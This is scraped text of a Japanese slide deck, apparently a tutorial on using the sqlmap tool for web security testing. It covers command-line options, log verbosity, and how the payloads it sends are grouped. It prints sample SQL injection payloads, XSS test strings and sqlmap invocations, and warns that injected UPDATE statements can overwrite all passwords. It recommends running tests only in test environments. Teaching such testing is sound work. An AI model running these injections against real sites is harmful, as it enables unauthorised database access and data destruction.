More Related Content Similar to フリーでできるセキュリティWeb編(SQLMあpを楽しもう) Similar to フリーでできるセキュリティWeb編(SQLMあpを楽しもう) (20) More from abend_cve_9999_0001 More from abend_cve_9999_0001 (14) フリーでできるセキュリティWeb編(SQLMあpを楽しもう)11. どう動かすか
① 普通に動かす(GET)
「./sqlmap.py –u ”http://xxxxx/yyy?id=1”」
② POSTデータの場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2”」
※この場合、「id」、「p1」、「p2」もSQLiしてしまう。
③ 特定のパラメータのみの場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-data=”p1=value1&p2=value2” –p p1」
※「-p」オプションでターゲットを指定する(複数の場合はカンマ区切り)
④ Cookieを指定する場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –-cookie=”c1=value1;c2=value2”」
⑤ UserAgentを指定する場合は
「./sqlmap.py –u ”http://xxxx/yyy?id=1”--user-agent=”xxxx”」
⑥ 特定のヘッダを追加する場合は
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” –headers=”x:xny:y”」
※nで複数挿入可能
12. こんな使い方も1
トラブルや検査時間の軽減のために、データベースを指定しておく。
※ブラックボックスでの検査の場合はダメです。
--dbms=DBMS名
Firebird, Sybase, MySQL, Oracle, SQLite, PostgreSQL, IBM DB2, SAP
MaxDB, HSQLDB, Microsoft Access, Microsoft SQL Server
DBを特定することで検査するパターンが減ります。
検査するパターンが減るということは、トラブルが起こる可能性も
減ります。
17. ログが大事1
標準出力に関して
「./sqlmap.py –u ”http://xxxxx/yyy?id=1” -v 6」
Verbosity level: 0-6 (default 1)
0はErrorがあったら出力。
1はINFO(どんなテストしたよっていう情報も)
2はDEBUG(どんなテストをスキップしたよっていう情報も)
3はPAYLOAD(具体的にどんなもを投げたかっていう情報も)
4はTRAFIC_OUT(生のリクエストも)
5はTRAFIC_IN(生のレスポンスヘッダも)
6はTRAFIC_IN(生のレスポンスボディも)
18. ログが大事2
「-v 4」以上で生のリクエストも標準出力される。
[00:21:38] [PAYLOAD] top') AND 7623=7623 AND ('hQBZ'='hQBZ
[00:21:38] [TRAFFIC OUT] HTTP request [#11]:
GET
/WithUS/MainController?Cmd=top%27%29%20AND%207623%3D7623%2
0AND%20%28%27hQBZ%27%3D%27hQBZ HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.80.143
Pragma: no-cache
Cache-control: no-cache,no-store
Connection: close
21. なぜログが大事なのか2
まずいパターン①
UPDATE table SET password = ’ xxx’ WHERE id = 1 OR 1 = 1
「or」を使うと全員のパスワードが「xxx」になってしまう。
まずいパターン②
UPDATE table SET password = ’ xxx’ WHERE flg = 1;SELECT 0;-- AND id = 1
複文やコメントアウトした場合に、後続の条件が評価されないため、
「flg」が1であるユーザのパスワードが「xxx」になってしまう。
後が評価されない
なので、テスト環境での実施を推奨。
バックアップもちゃんと取っておこう。
24. こんなグルーピング
・Inline query
(SELECT CONCAT(0x716d7a6d71,(SELECT (CASE WHEN (5543=5543) THEN 1 ELSE 0 END)),0x717a716371))
qmzmqとqzqcqが文字連結されるか評価
・Boolean-based blind
' AND 4908=2320 AND 'TFah'='TFah
文字リテラル、数字リテラルに対応した条件式を評価
・Time-based blind
' AND SLEEP(5) AND 'ybNW'='ybNW
スリープなどの時間変化を評価
各分類の投げているものを一例抜粋
25. こんなグルーピング
・Error-based
' AND (SELECT 4789 FROM(SELECT COUNT(*),CONCAT(0x7173757271,(SELECT (CASE WHEN (4789=4789)
THEN 1 ELSE 0 END)),0x716b686971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a) AND 'aAGw'='aAGw
エラー発生を評価
・ Union query
') UNION ALL SELECT NULL,NULL,NULL#
Union Selectを評価
・ Stack queries
'; SELECT SLEEP(5)--
複文を評価
28. 違う観点で2
結果は、
[19:28:09] [INFO] testing 'XSS Test'
[19:28:09] [PAYLOAD] 1) None AND (5500=5500
[19:28:09] [PAYLOAD] 1) "><script>alert(7187)</script> AND
(2926=2926
[19:28:09] [PAYLOAD] 1) None AND (8172=8172
[19:28:10] [PAYLOAD] 1 None
[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>
[19:28:10] [PAYLOAD] 1 None
[19:28:10] [PAYLOAD] 1 None-- MkEq
[19:28:10] [PAYLOAD] 1 "><script>alert(7187)</script>-- Xwmd
[19:28:11] [PAYLOAD] 1 None-- PtGV
[19:28:11] [PAYLOAD] 1') None AND ('VUxP'='VUxP